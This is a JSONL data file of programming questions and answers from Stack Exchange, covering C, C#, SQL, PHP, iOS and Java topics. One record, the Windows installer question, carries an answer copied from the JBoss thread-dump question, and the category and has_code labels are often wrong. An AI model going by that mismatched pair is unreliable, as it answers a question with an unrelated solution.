{"id": "hf_d1fb364ec181", "question": "<p>What is the fastest way to find out whether two <code>ICollection&lt;T&gt;</code> collections contain precisely the same entries? Brute force is clear, I was wondering if there is a more elegant method.</p>\n\n<p>We are using C# 2.0, so no extension methods if possible, please!</p>\n\n<p>Edit: the answer would be interesting both for ordered and unordered collections, and would hopefully be different for each.</p>\n", "question_body": "", "answer": "Brute force takes O(n) - comparing all elements (assuming they are sorted), which I would think is the best you could do - unless there is some property of the data that makes it easier.\nI guess for the case of not sorted, its O(n*n).\nIn which case, I would think a solution based around a\nmerge sort\nwould probably help.\nFor example, could you re-model it so that there was only one collection? Or 3 collections, one for those in collection A only, one for B only and for in both - so if the A only and B only are empty - then they are the same... I am probably going off on totally the wrong tangent here...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.856743"}
{"id": "hf_b8afcd17fc44", "question": "<p>How much do using smart pointers, particularly boost::shared_ptr cost more compared to bare pointers in terms of time and memory? Is using bare pointers better for performance intensive parts of gaming/embedded systems? Would you recommend using bare pointers or smart pointers for performance intensive components? </p>\n", "question_body": "", "answer": "Boost provide different smart pointers. Generally both the memory occupation, which varies in accordance to the kind of smart pointer, and the performance should not be an issue. For a performance comparison you can check this\nhttp://www.boost.org/doc/libs/1_37_0/libs/smart_ptr/smarttests.htm\n.\nAs you can see only construction, copy and destruction are taken into account for the performance comparison, which means that dereferencing a smart pointer has supposedly the same cost as that of a raw pointer.\nThe following snippet demonstrates that there's no performance loss by using a\n```\nshared_ptr<>\n```\nin place of a raw pointer:\n```\n```\n#include <iostream>\n#include <tr1/memory>\n\nint main()\n{\n#ifdef USE_SHARED_PTR\n    std::tr1::shared_ptr<volatile int> i(new int(1));\n#else\n    volatile int * i = new int(1);\n#endif\n\n    long long int h = 0;\n\n    for(long long int j=0;j < 10000000000LL; j++)\n    {\n        h += *i;\n    }\n\n    std::cout << h << std::endl;\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.881899"}
{"id": "hf_bea588b73169", "question": "<p>Can anybody help me out to know the possible reasons for which Apple store can reject or raise objection to submit any iPhone application.</p>\n", "question_body": "", "answer": "Here are possible reasons (unofficial,\nfrom here\n):\nVibration\n.  It is not permitted to use continuous vibration in your apps - short bursts as warnings is all that is allowed.  Don’t bother trying to set up a timer to keep the vibration going, it will cause your app to be rejected.\nLinking to private frameworks\n.  This is obvious, but somehow in playing around with stuff we had linked to the MoviePlayer.framework.  That’s a no-no, and cost us about ten days while we unlinked that framework, recompiled, and then resubmitted.\nImproper handling of editing in tableview cells\n.  Also obvious, but be aware that if you enable table cell editing, you’ll have to manually specify which cells should respond to editing controls and which should not.  We had some random prefs cells in one of our early apps that were able to be swiped to bring up a ‘delete’ badge.  Of course it didn’t do anything, but Apple justly considered this poor design and rejected our app.\nIcons\n. Make sure the 57 pixel icon is identical to the 512 pixel version. Also, use a different icon if you are creating ‘lite’ and ‘pro’ versions of your app (i.e., free and paid). Using the same icon for both sends your app straight to … you guessed it … the bin.\nCopying existing functionality\n. This one is much more subtle and insidious, and has probably affected the great percentage of developers. In addition to the widely publicized Podcaster debacle, reports from user comments indicate that Apple is casting a wide net when looking for duplicated functionality. Mini web browsers, or apps that essentially show web pages, seem particularly vulnerable, even if they add new and/or useful functionality. Stay away from email clients as well.\nUsing appropriate keyboard type\n. If your app asks for a phone number or other numeral-only input and you present a keyboard that also includes the possibility of entering standard alpha-numeric input … yep. (Thanks Jeremy1026)\nVersion numbers\n. If your app is currently at\nversion 0.99 or below\n, you’d better consider giving it a promotion as Apple seems to prefer 1.0 and above. One of ours was recently rejected for being .016, with a message suggesting that our version number wasn’t even numeric. When we resubmitted the same app from scratch as version 1.0, it went through.\nNetwork Reachability\n. If your app requires any type of network access you need to make sure it works when that access isn't available. If it doesn't it will be rejected. Apple provides sample code to test this which you can use as-is in most cases:\nhttps://developer.apple.com/library/content/samplecode/Reachability/Introduction/Intro.html\nAnd last, but not least:\nFlatulence\nDon’t even try. ;-) UPDATE: sorry, this seems to be outdated by now. Apple makes a lot of money now with \"fart apps\":\nsee this article\n.\nEdit:\nHere is a link to a recent article about\nten iPhone Apps That Didn't Make Apple's App Store\n.\nAnd a tip: Apple has a Mac app called\nApplication Loader\nthat you could install. Once you install it, it analyzes your app's zip file. It verifies all the certificates, icons, and other things are correct\nbefore\nsubmitting to Apple. Using the Application Loader  minimizes your chances of app rejection.\nAnother interesting resource:\nApp Store Roundtable: Transparency and the Approval System\n(appleblog.com)\nYet another edit:\nNew rules by February 2010:\n\"No Swimsuits, No Skin, And No Innuendo\"\n(source:\nTechCrunch article\n, W\nobble author's blog\n)\nBy the way: during the iPhone 3.0 preview event (march 2009), an Apple spokesman told that 96% of all submitted application were approved.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.912909"}
{"id": "hf_565b3659dfe9", "question": "<p>I often use this recursive 'visitor' in F#</p>\n\n<pre><code>let rec visitor dir filter= \n    seq { yield! Directory.GetFiles(dir, filter)\n          for subdir in Directory.GetDirectories(dir) do yield! visitor subdir filter} \n</code></pre>\n\n<p>Recently I've started working on implementing some F# functionality in C#, and I'm trying to reproduce this as IEnumerable, but I'm having difficulty getting any further than this:</p>\n\n<pre><code>static IEnumerable&lt;string&gt; Visitor(string root, string filter)\n{\n    foreach (var file in Directory.GetFiles(root, filter))\n        yield return file;\n    foreach (var subdir in Directory.GetDirectories(root))\n        foreach (var file in Visitor(subdir, filter))\n            yield return file;\n}\n</code></pre>\n\n<p>What I don't understand is why I have to do a double foreach in the C# version for the recursion, but not in F#... Does the seq {} implicitly do a 'concat'?</p>\n", "question_body": "", "answer": "```\nyield!\n```\ndoes a 'flatten' operation, so it integrates the sequence you passed it into the outer sequence, implicitly performing a\n```\nforeach\n```\nover each element of the sequence and\n```\nyield\n```\non each one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.940806"}
{"id": "hf_dbc5dbdd2aae", "question": "<p>Is it possible to get Mercurial to show progress of long-running push or pull operation? Google tells me basically \"no\", but does somebody know better? I was expecting something like <code>hg pull -v</code>...</p>\n", "question_body": "", "answer": "```\n```\nhg pull -v\n```\n```\n-v / --verbose\nis a global option that applies to all sub-functions.\nIf you want extra data:\n```\n```\nhg --debug -v pull\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.966031"}
{"id": "hf_6bd28b4817d2", "question": "<p>In Postgresql you can create additional Aggregate Functions with </p>\n\n<pre><code>CREATE AGGREGATE name(...);\n</code></pre>\n\n<p>But this gives an error if the aggregate already exists inside the database, so how can I check if a Aggregate already exists in the Postgres Database? </p>\n", "question_body": "", "answer": "```\n```\nSELECT * FROM pg_proc WHERE proname = 'name' AND proisagg;\n```\n```\nhttp://www.postgresql.org/docs/8.3/interactive/catalogs-overview.html\nhttp://www.postgresql.org/docs/8.3/interactive/catalog-pg-aggregate.html\nhttp://www.postgresql.org/docs/8.3/interactive/catalog-pg-proc.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.989519"}
{"id": "hf_57ebfdb3d8e1", "question": "<p>I want to float a div to the right at the top of my page. It contains a 50px square image, but currently it impacts on the layout of the top 50px on the page.</p>\n\n<p>Currently its:</p>\n\n<pre><code>&lt;div style=\"float: right;\"&gt;\n  ...\n&lt;/div&gt;\n</code></pre>\n\n<p>I tried z-index as I thought that would be the answer, but I couldn't get it going.</p>\n\n<p>I know it's something simple I'm missing, but I just can't seem to nail it.</p>\n", "question_body": "", "answer": "Try setting its\n```\nposition\n```\nto absolute. That takes it out of the flow of the document.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.014103"}
{"id": "hf_e399ea9ce467", "question": "<p>In firefox when you add an onclick event handler to a method an event object is automatically passed to that method. This allows, among other things, the ability to detect which specific element was clicked. For example</p>\n\n<pre><code>document.body.onclick = handleClick;\n\nfunction handleClick(e)\n{\n    // this works if FireFox\n    alert(e.target.className);\n}\n</code></pre>\n\n<p>Is there any way to approximate this in IE? i need to be able to detect which element is clicked from an event handler on the body element.</p>\n", "question_body": "", "answer": "I think IE uses a variable called\n```\nevent\n```\n. See if that works?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.060594"}
{"id": "hf_1208d24b2186", "question": "<p>Can anybody have good answer when should be database driven development be used and when should domain driven development be used. These both development approach have their importance in their respected areas. But I am not so clear which approach is appropriate in what type of situation. Any recommendation?</p>\n", "question_body": "", "answer": "First for some background, Martin Fowler actually described three different \"patterns\" in his book Patterns of Enterprise Arcitecture. Transaction Script, Active Record and Domain Model. DDD uses the domain model pattern for the overall architecture and describes a lot of practices and patterns to implement and design this model.\nTransaction script is an architecture where you don't have any layering. The same piece of code reads/writes the database, processes the data and handles the user interface.\nActive Record is one step up from that. You split off your UI, your business logic and data layer still live together in active record objects that are modeled after the database.\nA domain model decouples the business logic that lives in your model from your data-layer. The model knows nothing about the database.\nAnd now we come to the interesting part:\nThe cost of this added separation is of course extra work. The benefits are better maintainability and flexibility.\nTransaction script is good when you have few or no business rules, you just want to do data-entry and have no verification steps or all the verification is implemented in the database.\nActive record adds some flexibility to that. Because you decouple your UI you can for example reuse the layer beneath it between applications, you can easilly add some business rules and verification logic to the business objects. But because these are still tightly coupled to the database changes in the datamodel can be very expensive.\nYou use a domain model when you want to decouple your business logic from the database. This enables you to handle changing requirements easier. Domain Driven Design is a method to optimally use this added flexibility to implement complex solutions without being tied to a database implementation.\nLots of tooling makes data-driven solutions easier. In the microsoft space it is very easy to visually design websites where all the code lives right behind the web-page. This is a typical transaction script solution and this is great to easilly create simple applications. Ruby on rails has tools that make working with active record objects easier. This might be a reason to go data-driven when you need to develop simpler solutions. For applications where behaviour is more important than data and it's hard to define all the behaviour up front DDD is the way to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.084299"}
{"id": "hf_038662274e4c", "question": "<p>What approach did you take to describe the benefits of SCRUM to clients / business units who do not have a technical background? Please list any analogies you thought were useful.  Finally, how did you address the concerns that the Waterfall camp had?</p>\n", "question_body": "", "answer": "I basically go around about risk reduction and ROI, since these are the main things people at the higher management level care about.\nUsing a incremental process significantly reduces the risk of wasting money on something that's not gonna be useful, because the customer helps steer the product development in the right direction through series of planned feedback cycles. The #1 reason for project failure according to the CHAOS research is lack of customer involvement. So why not use a process that eliminates that risk?\nAlso, with a incremental process you start delivering something in a much shorter time than when using a waterfall approach, which effectively increases the ROI (return on investment), since the customer starts benefiting from the product after one or two months, instead of waiting 6 to 12 months in a typical waterfall project.\nYou can also mention improved customer satisfaction, team self-improvement and self-management, which reduces the administrative overhead, improved employee satisfaction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.163309"}
{"id": "hf_8c5b6489273f", "question": "<p>I am struggling to get an Epson \"ESC/POS\" printer to print barcodes (Using Delphi) and want to test if the printer is not faulty. Do you know where I can find a program to print a barcode in \"ESC/POS\"? I suppose as a last resort an OPOS program will also be OK.</p>\n\n<p>Also, a demo Delphi Program that works will also be fine. All the Delphi snippets I have so far is not working.</p>\n\n<p>The printer I am using is an Epson TM-L60II</p>\n", "question_body": "", "answer": "Get the Microsoft POS For .Net 1.11, it's got an SDK that includes a sample application that performs all the basic operations on POS hardware. I'm using it all the time to test that cash drawers work ok for example.\nThere's also a source code included (in .Net), so you can see how they do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.217075"}
{"id": "hf_adca31961d39", "question": "<p>I'm running JBoss 4.0.5 on Windows 2003 x64 and wonder if there is any way to get a dump of all threads?  </p>\n\n<ul>\n<li><p>It's stared with FireDaemon so I don't have a console windows in which to ctrl-break.</p></li>\n<li><p>It's running under java 1.5 so jstack won't work.</p></li>\n<li><p>I tried some program someone had made called sendsignal.exe, which I think actually crashed JBoss (not certain, but not going to try it again), if this was because JBoss runs under win x64 or because it runs as LocalSystem and I only have access to an \"ordinary\" user I don't know. It actually worked on my laptop, but it's 32-bit and I'm running as the same user as JBoss there.</p></li>\n</ul>\n\n<p>Someone has any other ideas that might work?</p>\n", "question_body": "", "answer": "You could just write a jsp that does\n```\nThread.getAllStackTraces()\n```\nand print out the stacktracelements in an amenable format. Then hitting the URL of that jsp at any time would give you the stack dump of all threads at that time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.241113"}
{"id": "hf_1272250e6108", "question": "<p>I am working on a Windows application which needs to be able to update itself. When a button is pressed it starts the installer and then the parent application exits. At some point during the installer, the installer attempts to rename the directory that the parent application was running from and fails with \"Access Denied\" If you run the installer from the desktop it works.</p>\n\n<p>I am using CreateProcess to start the installer, is there some way of using this or another API to create the installer completely independantly from the parent application so that it doesn't retain some attachment to the directory.</p>\n", "question_body": "", "answer": "You could just write a jsp that does\n```\nThread.getAllStackTraces()\n```\nand print out the stacktracelements in an amenable format. Then hitting the URL of that jsp at any time would give you the stack dump of all threads at that time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.265236"}
{"id": "hf_cfe5d1004d2d", "question": "<p>Anyone got any insight as to select x number of non-consecutive days worth of data? Dates are standard sql datetime. So for example I'd like to select 5 most recent days worth of data, but there could be many days gap between records, so just selecting records from 5 days ago and more recent will not do.</p>\n", "question_body": "", "answer": "I don't know the SQL Server syntax, but you need to:\n1) Select the dates (with time component truncated) in descending order\n2) Pick off top 5\n3) Obtain 5th value\n4) Select data where the datetime >= 5th value\nSomething like this \"pseudo-SQL\":\n```\n```\nselect *\nfrom data\nwhere datetime >=\n( select top 1 date\n  from\n  ( select top 5 date from\n    ( select truncated(datetime) as date\n      from data\n      order by truncated(datetime) desc\n    )\n    order by date\n  )\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.358217"}
{"id": "hf_328156a55306", "question": "<p>Can I integrate my exsisting C++ library in an iPhone application?</p>\n", "question_body": "", "answer": "Objective C++ is well defined and supported by Apple's gcc.\nBut you can't mix C++ and objective C classes, which makes this rather messy pretty fast. I don't think there are many projects in the wild which mix C++ and Objective C to any serious extent.\nThis highly depends on your library, but if (realistically) feasible I'd wrap the C++ inside a C library, using extern \"C\" entrypoints for all real functionality, and link with that from inside your objective C code for your iphone app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.431223"}
{"id": "hf_3989b0ed84b1", "question": "<p>When I create a new <code>Date</code> object, it is initialized to the current time but in the local timezone. How can I get the current date and time in GMT?</p>\n", "question_body": "", "answer": "```\njava.util.Date\n```\nhas no specific time zone, although its value is most commonly thought of in relation to UTC. What makes you think it's in local time?\nTo be precise: the value within a\n```\njava.util.Date\n```\nis the number of milliseconds since the Unix epoch, which occurred at midnight January 1st 1970, UTC. The same epoch could also be described in other time zones, but the traditional description is in terms of UTC. As it's a number of milliseconds since a fixed epoch, the value within\n```\njava.util.Date\n```\nis the same around the world at any particular instant, regardless of local time zone.\nI suspect the problem is that you're displaying it via an instance of Calendar which uses the local timezone, or possibly using\n```\nDate.toString()\n```\nwhich also uses the local timezone, or a\n```\nSimpleDateFormat\n```\ninstance, which, by default, also uses local timezone.\nIf this isn't the problem, please post some sample code.\nI would, however, recommend that you use\nJoda-Time\nanyway, which offers a much clearer API.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.462408"}
{"id": "hf_7a355375f47f", "question": "<p>I'm working in C, and I have to concatenate a few things.</p>\n\n<p>Right now I have this:</p>\n\n<pre><code>message = strcat(\"TEXT \", var);\n\nmessage2 = strcat(strcat(\"TEXT \", foo), strcat(\" TEXT \", bar));\n</code></pre>\n\n<p>Now if you have experience in C I'm sure you realize that this gives you a segmentation fault when you try to run it. So how do I work around that?</p>\n", "question_body": "", "answer": "In C, \"strings\" are just plain\n```\nchar\n```\narrays. Therefore, you can't directly concatenate them with other \"strings\".\nYou can use the\n```\nstrcat\n```\nfunction, which appends the string pointed to by\n```\nsrc\n```\nto the end of the string pointed to by\n```\ndest\n```\n:\n```\n```\nchar *strcat(char *dest, const char *src);\n```\n```\nHere is an\nexample from cplusplus.com\n:\n```\n```\nchar str[80];\nstrcpy(str, \"these \");\nstrcat(str, \"strings \");\nstrcat(str, \"are \");\nstrcat(str, \"concatenated.\");\n```\n```\nFor the first parameter, you need to provide the destination buffer itself.  The destination buffer must be a char array buffer.  E.g.:\n```\nchar buffer[1024];\n```\nMake sure\nthat the first parameter has enough space to store what you're trying to copy into it.  If available to you, it is safer to use functions like:\n```\nstrcpy_s\n```\nand\n```\nstrcat_s\n```\nwhere you explicitly have to specify the size of the destination buffer.\nNote\n: A string literal cannot be used as a buffer, since it is a constant. Thus, you always have to allocate a char array for the buffer.\nThe return value of\n```\nstrcat\n```\ncan simply be ignored, it merely returns the same pointer as was passed in as the first argument. It is there for convenience, and allows you to chain the calls into one line of code:\n```\n```\nstrcat(strcat(str, foo), bar);\n```\n```\nSo your problem could be solved as follows:\n```\n```\nchar *foo = \"foo\";\nchar *bar = \"bar\";\nchar str[80];\nstrcpy(str, \"TEXT \");\nstrcat(str, foo);\nstrcat(str, bar);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.495661"}
{"id": "hf_202c815784db", "question": "<p>Is there a way to change all the numeric keys to &quot;Name&quot; without looping through the array (so a php function)?</p>\n<pre><code>[\n    0 =&gt; 'blabla',\n    1 =&gt; 'blabla',\n    2 =&gt; 'blblll',\n    // etc ...\n]\n</code></pre>\n", "question_body": "", "answer": "No, there is not, for starters, it is impossible to have an array with elements sharing the same key\n```\n```\n$x =array(); \n$x['foo'] = 'bar' ; \n$x['foo'] = 'baz' ; #replaces 'bar'\n```\n```\nSecondarily, if you wish to merely prefix the numbers so that\n```\n```\n$x[0] --> $x['foo_0']\n```\n```\nThat is computationally implausible to do without looping. No php functions presently exist for the task of \"key-prefixing\", and the closest thing is\n\"extract\"\nwhich will prefix numeric keys prior to making them variables.\nThe very simplest way is this:\n```\n```\nfunction rekey( $input , $prefix ) { \n    $out = array(); \n    foreach( $input as $i => $v ) { \n        if ( is_numeric( $i ) ) { \n            $out[$prefix . $i] = $v; \n            continue; \n        }\n        $out[$i] = $v;\n    }\n    return $out;\n}\n```\n```\nAdditionally, upon reading XMLWriter usage, I believe you would be writing XML in a bad way.\n```\n```\n<section> \n    <foo_0></foo_0>\n   <foo_1></foo_1>\n   <bar></bar>\n   <foo_2></foo_2>\n</section>\n```\n```\nIs not good XML.\n```\n```\n<section> \n   <foo></foo>\n   <foo></foo>\n   <bar></bar>\n   <foo></foo>\n</section>\n```\n```\nIs better XML, because when intrepreted, the names being duplicate don't matter because they're all offset numerically like so:\n```\n```\nsection => { \n    0 => [ foo , {} ]\n    1 => [ foo , {} ]\n    2 => [ bar , {} ]\n    3 => [ foo , {} ] \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.517830"}
{"id": "hf_a3a29d9326de", "question": "<p>I`m using Delphi 2009 and want to operate some XML data. I heard that nativeXML is one of the most convenient ways to do it. so how can I install this library?</p>\n", "question_body": "", "answer": "Based on their\nweb site\n, it sounds like you just download the .dcu file, put it in a convenient directory, and add that directory to your type library path (tools->options->library path).\nAfter that, just add the unit to your uses clause and you should be good to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.540853"}
{"id": "hf_9320107d4346", "question": "<p>I would like to know which one is the best material that I can hand out to my students about \"<em>C# comments</em>\".</p>\n", "question_body": "", "answer": "Inside VS\nComments are relatively simple.\nYou can use for\nsingle line\n:\n```\n```\n//This is a single line comment\n```\n```\nYou can use for\nmultiple line\n:\n```\n```\n/*\nMultiple lines\n*/\n```\n```\nFor\nmethod\nyou can use  :\n```\n```\n/// <summary>\n    /// This is a description\n    /// </summary>\n    /// <param name=\"sender\">Description of variable SENDER</param>\n    /// <param name=\"e\">Description of variable E</param>\n```\n```\nOutside VS\nWhen you go in the\nProject Property\nyou can output all comments into XML and manipulate them.\nGood practice\nComments should not be used to describe WHAT the code do but WHY or HOW if it's not clear.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.610495"}
{"id": "hf_d7bf03a1ac86", "question": "<p>Microsoft, of Cairo fame, is working on Oslo, a <a href=\"http://www.microsoft.com/soa/products/oslo.aspx\" rel=\"nofollow noreferrer\">new modeling platform</a>. Bob Muglia, Senior Vice President of Microsoft Server &amp; Tools Business, states that the benefits of modeling have always been clear.</p>\n\n<p>In simple, practical terms, what are the clear benefits that Oslo bestows upon its users?</p>\n", "question_body": "", "answer": "In theory, there are a few benefits:\nThe people with the business knowledge can create the software models so you're less likely to lose anything in translation.\nWhen non-technical shareholders create models, it forces them to \"think like a developer\". They see that what they considered obvious and easy is actually difficult when you formalize it.\nIt's more efficient. Business people have business knowledge and technical people have technical knowledge so, why not let each group design a system in their area of expertise? No more games of telephone as business experts re-explain what they mean to a developer. Developers are no longer distracted by cryptic business needs. They can focus on the interaction between highly technical systems.\nIn practice, it's a lot trickier:\nModels are hard and that's that. Just because you push model creation to a different group doesn't mean you get foolproof models. Software development is all about modeling so developers are used to it. You may actually lose efficiency as a second group comes to grips with formalizing their understanding of a business need.\nModel driven dev is tightly linked to OO concepts. OO is good for a lot of things, but not everything. What happens if what you really need falls outside the abilities of your modeling tool?\nIn my experience, the division between business and technical people is artificial. The most effective people are technical-minded business people or business-minded technical people. They make things happen. If you separate business tasks from technical tasks, you ruin the opportunity for cross-training and cross-thinking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.670211"}
{"id": "hf_243fba3b4c6a", "question": "<p>I am using Apache Felix and its Declarative Services (SCR) to wire the service dependencies between bundles.</p>\n\n<p>For example, if I need access to a java.util.Dictionary I can say the following to have SCR provide one:</p>\n\n<pre><code>/**\n* @scr.reference name=properties interface=java.util.Dictionary\n*/\n\nprotected void bindProperties(Dictionary d) {\n}\n\nprotected void unbindProperties(Dictionary d) {\n}\n</code></pre>\n\n<p>Now, I have more than one Dictionary service available, and I want to filter them using the \"name\" service property (I only want \"name=myDictionary\"). I can do that with code (using a ServiceTracker), but I'd rather specify the filter in the @scr annotation instead.</p>\n", "question_body": "", "answer": "In standard DS, you can use target attribute of the reference element. In Felix world, where annotations can be used, I don't know what is the equivalent.\nThe target attribute is an LDAP filter, which matches against the service properties. So, your filter should be:\n```\n(name=myDictionary)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.693641"}
{"id": "hf_539397b00c19", "question": "<p>How do I detect when an iOS app is launched for the first time?</p>\n", "question_body": "", "answer": "You can set a boolean value in the user defaults to do this. Set the key to false when you call\n```\nregisterDefaults:\n```\n, and then set it to true change it to true after you've shown your initial help screen or whatever you need to do.\nIf you have a persistent data file that's always saved after the app closes, checking to see if it exists would be another way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.746663"}
{"id": "hf_ca4cf055b1e4", "question": "<p>I need to transform an Oracle SQL statement into a Stored Procedure therefore users with less privileges can access certain data field:</p>\n\n<pre><code>SELECT\n    info_field, data_field\nFROM\n    table_one\nWHERE\n    some_id = '&lt;id&gt;' -- I need this &lt;id&gt; to be the procedure's parameter\nUNION ALL\n\nSELECT\n    info_field, data_field\nFROM\n    table_two\nWHERE\n    some_id = '&lt;id&gt;'\nUNION ALL\n\nSELECT\n    info_field, data_field\nFROM\n    table_three\nWHERE\n    some_id = '&lt;id&gt;'\nUNION ALL\n\n...\n</code></pre>\n\n<p>Given that I'm no SP expert I've been unable to figure out a good solution to loop through all the involved tables (12 aprox.).</p>\n\n<p>Any ideas would be helpful. Thanks much!</p>\n", "question_body": "", "answer": "Is the expectation that, among all these tables, only one will have a match for a given ID?\nIf no:  You need to explain what you want to do when there are multiple matches.\nIf yes:  You simply do the same SQL query, selecting the result into a variable that you then return.\nIt would look something like this:\n```\n```\nPROCEDURE get_fields( the_id  NUMBER,\n                      info_field_out  OUT  table_one.info_field%TYPE,\n                      data_field_out  OUT  table_one.data_field%TYPE\n                    )\n  IS\n  BEGIN\n    SELECT info_field, data_field\n      INTO info_field_out, data_field_out\n      FROM (\n        ... put your full SQL query here, using 'the_id' as the value to match against ..\n      );\n\n  EXCEPTION\n\n    WHEN no_data_found THEN\n      -- What do you want to do here?  Set the outputs to NULL?  Raise an error?\n\n    WHEN too_many_rows THEN\n      -- Is this an invalid condition?\n\n  END;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.764742"}
